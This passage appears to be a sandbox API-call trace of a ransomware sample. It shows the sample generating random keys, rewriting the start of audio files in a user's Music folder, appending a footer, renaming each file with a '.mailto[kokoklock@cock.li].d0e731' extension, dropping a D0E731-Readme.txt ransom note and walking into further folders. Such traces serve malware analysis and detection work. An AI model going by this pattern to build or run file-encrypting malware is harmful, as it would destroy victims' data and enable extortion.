0x20 [0069.087] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav", dwFileAttributes=0x20) returned 1 [0069.087] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav" (normalized: "c:\\users\\fd1hvy\\music\\mpk k-jq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x760 [0069.087] GetFileSizeEx (in: hFile=0x760, lpFileSize=0x1163fbf8 | out: lpFileSize=0x1163fbf8*=33599) returned 1 [0069.087] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x833b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.087] ReadFile (in: hFile=0x760, lpBuffer=0x1163fbcc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1163fbc8, lpOverlapped=0x0 | out: lpBuffer=0x1163fbcc*, lpNumberOfBytesRead=0x1163fbc8*=0x4, lpOverlapped=0x0) returned 1 [0069.087] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.087] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0069.087] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0069.087] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e70 [0069.087] NtQuerySystemTime (in: CurrentTime=0x1163fba4 | out: CurrentTime=0x1163fba4*=132121176269785229) returned 0x0 [0069.087] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0x3497ad08 [0069.087] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0xbbc3f693 [0069.087] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0xfd3a36cf [0069.087] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0x211ac771 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0x6567d2e7 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0x6f3758c [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0xfc9464e6 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0xe04a8aa7 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0xaf16ec82 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0x8e8ec176 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0xb5a9e275 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0xa1433e54 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0xfe9fafd3 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0x7a3e9544 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0x227f299f [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0xe2aae001 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0xe861499e [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0xa111d5f1 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0xd6f62a89 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0x6af3c5bd [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0x9c4b5199 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0xdcaf7ea [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0xb9022694 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0x6532ca03 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0x5171c86e [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0x579d0641 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0x8e4bdc46 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0x91977654 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0xc741a3ea [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0x1c470d61 [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0x94935bbf [0069.088] RtlRandom (in: Seed=0x1163fbb0 | out: Seed=0x1163fbb0) returned 0xf4e2e07c [0069.099] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.099] ReadFile (in: hFile=0x760, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1163fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1163fb7c*=0x4096, lpOverlapped=0x0) returned 1 [0069.099] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.099] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0069.099] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0069.100] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0069.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0069.100] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.100] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0069.100] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0069.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0069.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0069.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0069.100] WriteFile (in: hFile=0x760, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1163fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1163fb7c*=0x4096, lpOverlapped=0x0) returned 1 [0069.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.101] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x833f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.101] WriteFile (in: hFile=0x760, lpBuffer=0x33e4918*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1163fbb4, lpOverlapped=0x0 | out: lpBuffer=0x33e4918*, lpNumberOfBytesWritten=0x1163fbb4*=0x20, lpOverlapped=0x0) returned 1 [0069.101] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0069.101] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.101] WriteFile (in: hFile=0x760, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1163fbc8, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0x1163fbc8*=0x8, lpOverlapped=0x0) returned 1 [0069.101] WriteFile (in: hFile=0x760, lpBuffer=0x1163fbe0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1163fbc8, lpOverlapped=0x0 | out: lpBuffer=0x1163fbe0*, lpNumberOfBytesWritten=0x1163fbc8*=0x4, lpOverlapped=0x0) returned 1 [0069.101] WriteFile (in: hFile=0x760, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1163fbc8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1163fbc8*=0x4, lpOverlapped=0x0) returned 1 [0069.101] WriteFile (in: hFile=0x760, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1163fbc8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1163fbc8*=0x6c, lpOverlapped=0x0) returned 1 [0069.101] WriteFile (in: hFile=0x760, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1163fbc8, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0x1163fbc8*=0x20, lpOverlapped=0x0) returned 1 [0069.101] WriteFile (in: hFile=0x760, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1163fbc8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1163fbc8*=0x4, lpOverlapped=0x0) returned 1 [0069.101] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0069.101] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d80) returned 1 [0069.101] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0069.101] CloseHandle (hObject=0x760) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e29f0 [0069.103] wcscpy (in: _Dest=0x33e29f0, _Source="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav") returned="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav" [0069.103] wcscat (in: _Dest=0x33e29f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731" [0069.103] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav" (normalized: "c:\\users\\fd1hvy\\music\\mpk k-jq.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\mpk k-jq.wav.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.104] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.104] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e29f0) returned 1 [0069.104] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav", dwFileAttributes=0x20) returned 0 [0069.105] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x347fbe0 [0069.105] wcscpy (in: _Dest=0x347fbe0, _Source="C:\\Users\\FD1HVy\\Music\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0069.105] wcscat (in: _Dest=0x347fbe0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" [0069.105] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\d0e731-readme.txt")) returned 0xffffffff [0069.105] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x760 [0069.105] WriteFile (in: hFile=0x760, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1163fbc4, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1163fbc4*=0x481, lpOverlapped=0x0) returned 1 [0069.107] CloseHandle (hObject=0x760) returned 1 [0069.107] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fbe0) returned 1 [0069.107] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480f38) returned 1 [0069.107] RtlExitUserThread (Status=0x1) Thread: id = 402 os_tid = 0x1008 [0069.108] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3" (normalized: "c:\\users\\fd1hvy\\music\\pdajg9sz g.mp3")) returned 0x20 [0069.108] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3", dwFileAttributes=0x20) returned 1 [0069.108] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3" (normalized: "c:\\users\\fd1hvy\\music\\pdajg9sz g.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x760 [0069.108] GetFileSizeEx (in: hFile=0x760, lpFileSize=0x116bf968 | out: lpFileSize=0x116bf968*=79551) returned 1 [0069.108] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x136bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.108] ReadFile (in: hFile=0x760, lpBuffer=0x116bf93c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x116bf938, lpOverlapped=0x0 | out: lpBuffer=0x116bf93c*, lpNumberOfBytesRead=0x116bf938*=0x4, lpOverlapped=0x0) returned 1 [0069.109] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.109] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0069.109] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0069.109] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0069.109] NtQuerySystemTime (in: CurrentTime=0x116bf914 | out: CurrentTime=0x116bf914*=132121176270097921) returned 0x0 [0069.109] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0xf81ed768 [0069.109] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x4b8a79 [0069.109] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0xfb795e24 [0069.109] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x13646ca7 [0069.109] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x338b1ba5 [0069.109] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x26887e5e [0069.109] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0xb8cd63dd [0069.109] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0xd9854e71 [0069.109] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0xa6f62695 [0069.109] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x743b5af [0069.109] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0xcac88f10 [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x88d4c9b4 [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x66dc4430 [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x476a679e [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x4efa0ebe [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x3b7443c6 [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0xda4e16cf [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x6dc11546 [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0xc56f2f43 [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0xffd1b7a3 [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x7dcb432f [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x6d5046f1 [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x2bf3b449 [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x808ad3b5 [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0xaca443cf [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x7925b862 [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0xc8cd3295 [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0xed78216b [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x5183122e [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0xff7e0b20 [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x2ee18a6d [0069.110] RtlRandom (in: Seed=0x116bf920 | out: Seed=0x116bf920) returned 0x344db57a [0069.121] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.121] ReadFile (in: hFile=0x760, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x116bf8ec, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x116bf8ec*=0x4096, lpOverlapped=0x0) returned 1 [0069.121] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.121] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0069.121] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0069.121] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0069.121] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0069.121] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.122] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0069.122] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c018 [0069.122] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c018) returned 1 [0069.122] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0069.122] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0069.122] WriteFile (in: hFile=0x760, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x116bf8ec, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x116bf8ec*=0x4096, lpOverlapped=0x0) returned 1 [0069.122] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.122] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x136bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.122] WriteFile (in: hFile=0x760, lpBuffer=0x33f00d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x116bf924, lpOverlapped=0x0 | out: lpBuffer=0x33f00d0*, lpNumberOfBytesWritten=0x116bf924*=0x20, lpOverlapped=0x0) returned 1 [0069.122] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0069.122] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.122] WriteFile (in: hFile=0x760, lpBuffer=0x33e4918*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x116bf938, lpOverlapped=0x0 | out: lpBuffer=0x33e4918*, lpNumberOfBytesWritten=0x116bf938*=0x8, lpOverlapped=0x0) returned 1 [0069.122] WriteFile (in: hFile=0x760, lpBuffer=0x116bf950*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x116bf938, lpOverlapped=0x0 | out: lpBuffer=0x116bf950*, lpNumberOfBytesWritten=0x116bf938*=0x4, lpOverlapped=0x0) returned 1 [0069.122] WriteFile (in: hFile=0x760, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x116bf938, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x116bf938*=0x4, lpOverlapped=0x0) returned 1 [0069.122] WriteFile (in: hFile=0x760, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x116bf938, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x116bf938*=0x6c, lpOverlapped=0x0) returned 1 [0069.123] WriteFile (in: hFile=0x760, lpBuffer=0x3423d80*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x116bf938, lpOverlapped=0x0 | out: lpBuffer=0x3423d80*, lpNumberOfBytesWritten=0x116bf938*=0x20, lpOverlapped=0x0) returned 1 [0069.123] WriteFile (in: hFile=0x760, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x116bf938, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x116bf938*=0x4, lpOverlapped=0x0) returned 1 [0069.123] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d80) returned 1 [0069.123] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0069.123] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0069.123] CloseHandle (hObject=0x760) returned 1 [0069.156] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x3424900 [0069.156] wcscpy (in: _Dest=0x3424900, _Source="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3") returned="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3" [0069.156] wcscat (in: _Dest=0x3424900, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731" [0069.156] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3" (normalized: "c:\\users\\fd1hvy\\music\\pdajg9sz g.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\pdajg9sz g.mp3.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.157] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.157] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424900) returned 1 [0069.157] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3", dwFileAttributes=0x20) returned 0 [0069.158] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3480300 [0069.158] wcscpy (in: _Dest=0x3480300, _Source="C:\\Users\\FD1HVy\\Music\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0069.158] wcscat (in: _Dest=0x3480300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" [0069.158] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\d0e731-readme.txt")) returned 0x20 [0069.158] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480300) returned 1 [0069.158] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430f98) returned 1 [0069.158] RtlExitUserThread (Status=0x1) Thread: id = 403 os_tid = 0x100c [0069.159] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd280 [0069.159] wcscpy (in: _Dest=0x33fd280, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0069.159] wcscat (in: _Dest=0x33fd280, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0069.159] wcscat (in: _Dest=0x33fd280, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\*") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\*" [0069.159] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429530 [0069.159] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\*", lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b34f100, ftCreationTime.dwHighDateTime=0x1d4ce10, ftLastAccessTime.dwLowDateTime=0xabbd6aa0, ftLastAccessTime.dwHighDateTime=0x1d4cced, ftLastWriteTime.dwLowDateTime=0xabbd6aa0, ftLastWriteTime.dwHighDateTime=0x1d4cced, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ba8 [0069.159] wcscmp (_String1=".", _String2=".") returned 0 [0069.159] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b34f100, ftCreationTime.dwHighDateTime=0x1d4ce10, ftLastAccessTime.dwLowDateTime=0xabbd6aa0, ftLastAccessTime.dwHighDateTime=0x1d4cced, ftLastWriteTime.dwLowDateTime=0xabbd6aa0, ftLastWriteTime.dwHighDateTime=0x1d4cced, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.159] wcscmp (_String1="..", _String2=".") returned 1 [0069.159] wcscmp (_String1="..", _String2="..") returned 0 [0069.159] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d87e7c0, ftCreationTime.dwHighDateTime=0x1d4d2d6, ftLastAccessTime.dwLowDateTime=0xf7106a70, ftLastAccessTime.dwHighDateTime=0x1d4d07b, ftLastWriteTime.dwLowDateTime=0xf7106a70, ftLastWriteTime.dwHighDateTime=0x1d4d07b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7xPr", cAlternateFileName="")) returned 1 [0069.160] wcscmp (_String1="7xPr", _String2=".") returned 1 [0069.160] wcscmp (_String1="7xPr", _String2="..") returned 1 [0069.160] 